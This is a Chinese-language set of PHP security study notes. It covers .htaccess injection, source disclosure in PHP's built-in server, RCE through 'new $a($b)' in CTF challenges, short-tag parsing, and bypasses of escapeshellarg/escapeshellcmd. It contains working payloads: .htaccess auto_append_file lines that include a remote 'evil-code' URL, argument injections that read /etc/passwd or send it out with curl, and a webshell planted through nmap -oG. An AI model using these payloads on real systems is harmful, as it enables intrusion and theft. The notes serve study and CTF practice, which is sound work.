PHP安全相关配置¶
函数与类限制¶
可通过 disable_functions / disable_classes 限制PHP可调用的函数和类。
目录访问限制¶
可通过 open_basedir 限制PHP可访问的目录。
远程引用限制¶
可通过 all_url_include 限制远程文件包含,默认关闭。
可通过 allow_url_fopen 限制打开远程文件,默认开启。
Session¶
- Session.Save
PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置。
- Session.Upload
PHP默认开启了 session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。
那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。
PHP .htaccess injection payload¶
file inclusion¶
code execution¶
file inclusion¶
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt
code execution with UTF-7¶
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
Source code disclosure¶
参考¶
PHP Built-in Server的一些漏洞¶
PHP内置服务器(PHP Built-in Server)是一个轻量级的Web服务器,通过运行PHP命令行界面(CLI)模式下的内置服务器功能,可以在开发和测试阶段中快速启动和运行PHP应用程序。
使用PHP内置服务器,可以在开发环境中方便地进行本地测试和调试,而无需依赖独立的Web服务器(如Apache或Nginx)。它提供了一个简单的命令行界面(CLI)和基本的配置选项,使你能够指定主机名、端口和文档根目录等。
要启动PHP内置服务器,只需在命令行终端中导航至你的项目目录,并运行以下命令:
这将启动一个使用localhost主机和8000端口的PHP内置服务器。然后你可以访问http://localhost:8000来查看你的PHP应用程序。
请注意,PHP内置服务器仅适用于开发和测试环境,不推荐在生产环境中使用。对于生产环境,建议使用专业的Web服务器来部署和运行PHP应用程序。
通过.下载源码¶
官方于5.6.19版本修复通过.来下载源码的问题
可以通过在最后的php路径后加.来下载源码
通过大写php后缀下载源码¶
官方在PHP 7.4.10版本中修复了

经测试,部分大写也可以下载源码
尽管官方修复了这个问题,但随之而来又是一个新问题
PHP/Php等在大小写敏感的系统(如Linux)中是不能被解析成PHP的。但因为修复上述漏洞,导致无论大小写都会被解析,造成一个解析漏洞
通过::$DATA来下载源码¶
在较新版本,如8.x版本仍可用

PHP Development Server <= 7.4.21 - Remote Source Disclosure¶
代码泄露复现¶
直接拉docker就完事了:
docker pull php:7.4.21 # 拉取镜像
docker run --rm -i -t -p 2333:80 php:7.4.21 /bin/bash # 进入内部shell,映射内部80到外部2333
进入容器内shell之后
echo "<?php phpinfo();?>" > phpinfo.php # 写一个php文件
php -S 0.0.0.0:80 # 开Development Server
复现方法如下,记得要关掉Burp自动修改Content-Length的功能

原理分析¶
PHP Built-in Server在解析TCP数据流时,对于两个HTTP请求,在第二次请求时,如果请求一个非PHP后缀的文件服务器会认为这是一个静态文件,所以将这个文件直接读取并返回。
但这个过程中存在一个逻辑问题,就是在解析第一个请求时遗留下来的client->request.path_translated没有被清理,而这个变量指向的就是第一个请求的文件绝对路径。
所以造成了一个Bug,如果我们发送如下数据包:
GET /info.php HTTP/1.1
Host: 192.168.1.163:9090
GET /xxxxx.css HTTP/1.1
第一个请求指向的是一个正常存在的PHP文件/info.php,第二个请求指向的是一个不存在的静态文件/xxxxx.css。此时在解析第二个请求的时候,会读取到/info.php的文件内容,但又会按照静态文件的方式返回这个文件的源代码,而不是使用PHP解释器进行解析。 导致攻击者可以通过这个trick下载到/info.php的源码
关于new \(a(\)b) RCE的研究¶
这两年的CTF赛题中,常常会出现形如echo new \(a(\)b)这⼀类的代码,其中\(a和\)b是⽤户可控的,并且有相当⼀部分题⽬是考察选⼿反序列化能⼒,⽽最终的sink点是在echo new \(a(\)b)这⾥
eval("echo new \(a(\)b);")¶
这⼀类代码是最简单的,很轻松就能RCE,样例代码如下
给a随便传⼀个原⽣类,给b传恶意命令即可:

能执行命令的原因是原生类的魔术方法,如Exception的__toString方法会返回转化为字符串的异常结果,在这个过程中,命令的执行结果也会返回,Error类与其处理逻辑相似
echo new \(a(\)b)¶
这是在各⼤⽐赛中常考的,正因为常考,许多⼤师傅都在挖掘可被利⽤的原⽣类,⽐如:
遍历⽬录类:
- DirectoryIterator
- GlobIterator
- FilesystemIterator
读取⽂件类:
- SplFileObject(同样也能⽤作SSRF)
- 等等
通常在CTF中的考法是:
- flag放在根⽬录下,且名字为为f13gggg这种不能被猜测的
- flag通常不在同⼀⾏,考察选⼿是否会⽤伪协议去读取
针对这样的代码,读flag的操作步骤如下:
⾸先⽤能遍历⽬录的原⽣类,⽐如DirectoryIterator结合glob读⽂件名

读到f1ag.php,由于DirectoryIterator返回结果是⼀个迭代器,所以通常直接⽤echo打印出来的是第⼀项,所以需要结合glob协议通配符的特性去⼀点点把flag⽂件名匹配出来 实际上可能需要fuzz一下
然后⽤SplFileObject去读⽂件

可以看到啥也没读出来,所以需要用伪协议去读取

new \(a(\)b)¶
那么问题来了,如果没有echo呢?虽然代码会执⾏,但是我们拿不到结果,并且echo new \(a(\)b);其实也没有从根本上解决RCE这件事,⼤多CTF题都仅限于找⽂件名、读⽂件这⼀步。那假如说flag在环境变量中呢?⼜或者说读flag需要suid提权等操作?
参考文章的那些事.pdf)
PHP短标签与short_open_tag的分析¶
PHP代码解析过程¶
PHP的代码在真正执行会经过一长串的处理,其中和代码解析相关的部分则是Zend引擎对代码进行词法、语法分析,编译为opcode执行。
在进行词法、语法分析时,PHP会按照已规定好的词法规则将代码切分为单独的Token,然后再通过bison进行语法处理,当语法出现错误时则会终止执行,也就是我们所看到的各种语法错误提示。
与词法、语法分析相关的规则主要存放在Zend/zend_language_parser.y以及zend_language_scanner.l两个文件中,我们着重关注<?=与<?,其中,在Zend/zend_language_parser.y文件中,对<?=进行了定义:
在zend_language_scanner.l中则定义了相关的re2c规则,<?=与<?与<?php一样,都可以作为PHP代码的起始符:
<INITIAL>"<?=" {
BEGIN(ST_IN_SCRIPTING);
if (PARSER_MODE()) {
/* We'll reject this as an identifier in zend_lex_tstring. */
RETURN_TOKEN_WITH_IDENT(T_ECHO);
}
RETURN_TOKEN(T_OPEN_TAG_WITH_ECHO);
}
<INITIAL>"<?" {
if (CG(short_tags)) {
BEGIN(ST_IN_SCRIPTING);
RETURN_OR_SKIP_TOKEN(T_OPEN_TAG);
} else {
goto inline_char_handler;
}
}
<?= 的解析¶
为了理解其差异,我们先看<?=的处理流程,它的处理流程主要涉及PARSER_MODE、RETURN_TOKEN_WITH_IDENT、RETURN_TOKEN三个方法,其定义分别为:
#define PARSER_MODE() \
EXPECTED(elem != NULL)
#define RETURN_TOKEN_WITH_IDENT(_token) do { \
token = _token; \
goto emit_token_with_ident; \
} while (0)
#define RETURN_TOKEN(_token) do { \
token = _token; \
goto emit_token; \
} while (0)
PARSER_MODE会判断是否elem是否为空,elem是个union结构:zend_parser_stack_elem,主要用于表示词法元素,其定义为:
typedef union _zend_parser_stack_elem {
zend_ast *ast;
zend_string *str;
zend_ulong num;
unsigned char *ptr;
zend_lexer_ident_ref ident;
} zend_parser_stack_elem;
因此PARSER_MODE主要作用为判断当前是否有词法元素需要解析。RETURN_TOKEN_WITH_IDENT与RETURN_TOKEN的实现较为相似,都是一个goto语句,对应的代码块为:
emit_token:
if (SCNG(on_event)) {
SCNG(on_event)(ON_TOKEN, token, start_line, yytext, yyleng, SCNG(on_event_context));
}
return token;
emit_token_with_ident:
if (PARSER_MODE()) {
elem->ident.offset = SCNG(yy_text) - SCNG(yy_start);
elem->ident.len = SCNG(yy_leng);
}
if (SCNG(on_event)) {
SCNG(on_event)(ON_TOKEN, token, start_line, yytext, yyleng, SCNG(on_event_context));
}
return token;
SCNG宏可以对定义的scanner_global全局变量进行取值,scanner_global主要用于存放lexer的状态信息,比如当前处理的指针位置、最后一次处理的token位置等,在上面的elem->ident.offset = SCNG(yy_text) - SCNG(yy_start);这一句中,便是计算当前位置和开始位置从而得出偏移量。
SCNG(on_event)则是取出存放在on_event上的同名函数,on_event可以根据token类型进行对应的处理,函数参数类型为:
on_event(zend_php_scanner_event event, int token, int line,const char *text, size_t length, void *context)
对于分析<?=做了什么这个问题来说,分析到这里基本结束了,因此可以得出结论,对于<?=来说,在解析完了echo就会继续后续token的处理,且未看到对于短标签配置的取值判断。
<? 的解析¶
<?与<?=最关键的区别就在于CG(short_tags)的判断上,CG宏含义为Compiler Globals,与Zend编译器相关的全局变量相关,CG(short_tags)则是取出有关于短标签的配置,随后根据取值来决定是否继续后续的代码执行。inline_char_handler用于扫描不在PHP标签中的内容,因此以<?表示的PHP代码也就不会进行执行。
上述代码的分析在PHP7.4.9下进行,在PHP5.6.31版本下的分析要更为简单,对<?=的写法更为直观:
<INITIAL>"<?=" {
ZVAL_STRINGL(zendlval, yytext, yyleng, 0); /* no copying - intentional */
BEGIN(ST_IN_SCRIPTING);
return T_OPEN_TAG_WITH_ECHO;
}
<INITIAL>"<?" {
if (CG(short_tags)) {
ZVAL_STRINGL(zendlval, yytext, yyleng, 0); /* no copying - intentional */
BEGIN(ST_IN_SCRIPTING);
return T_OPEN_TAG;
} else {
goto inline_char_handler;
}
}
总结:如果编译的时候没有加--disable-short-tags,则PHP默认开启短标签。在PHP5.4以后,即使php.ini中设置了short_open_tag=false,短标签 =..?> 也不受影响,永远可用。
escapeshellarg和escapeshellcmd绕过¶
参考文章:
https://www.anquanke.com/post/id/107336#h3-15
https://noahtie.github.io/2021/04/27/escapeshell&escapecmd%E6%BC%8F%E6%B4%9E/
https://paper.seebug.org/164/
# 举一个例子
172.17.0.2' -v -d a=1 --> escapeshellarg() --> '172.17.0.2'\'' -v -d a=1'
--> escapeshellcmd() --> '172.17.0.2'\\'' -v -d a=1\'
escapeshellarg()先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用
escapeshellcmd转义
& # ;| * ? ~ < > ^ ( ) [ ] { } $、x0A和\,'和"仅在落单时被转义
参数注入¶
tar¶
- 将
some_file压缩至/tmp/sth
- 创建
/tmp/exploit空文件
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
find¶
- 在
/tmp目录下查找some_file
- 输出
/etc/passwd的内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
wget¶
- 下载
example.php
- 保存
.php文件至指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
sendmail¶
- 将发件人地址设置为
from@sth.com并发送mail.txt
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
- 输出
/etc/passwd的内容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
curl¶
- 获取
http://example.com的内容
- 将
/etc/passwd发送到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
mysql¶
- 执行SQL语句
- 执行
id命令
unzip¶
- 从
archive.zip中解压所有.tmp文件至/tmp目录
- 从
archive.zip中解压所有.tmp文件至/var/www/html目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
若未设置LANG环境变量则跳过非ASCII字符¶
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
使用.bat执行命令¶
- 列出
somedir中的文件
- 同时执行
whoami命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
escapeshellcmd与escapeshellarg¶
此时可以向函数传递第二个参数
- 列出
/tmp中的文件并忽略sth
- 使用长列表模式输出
/tmp中的文件并忽略sth
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
参考文章:https://www.anquanke.com/post/id/168093#h3-5
Question
如果先使用escapeshellcmd,再使用escapeshellarg,还会有类似的漏洞吗?
# 测试payload:
system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
' <?php @eval($_POST["hack"]);?> -oG hack.php ' --> escapeshellcmd()
--> ' <?php @eval($_POST["hack"]);?> -oG hack.php ' --> escapeshellarg()
--> '\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\''
--> exec --> nmap -T5 -sT -Pn --host-timeout 2 -F '\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\''
--> nmap -T5 -sT -Pn --host-timeout 2 -F ' <?php @eval($_POST["hack"]);?> -oG hack.php '
可以看出相同的payload在经过处理后只会变成字符串,达不到逃逸的目的
others¶
PHP - Useful Functions & disable_functions/open_basedir bypass | HackTricks
[PHP - RCE abusing object creation: new \(_GET["a"](\)_GET"b"]) | HackTricks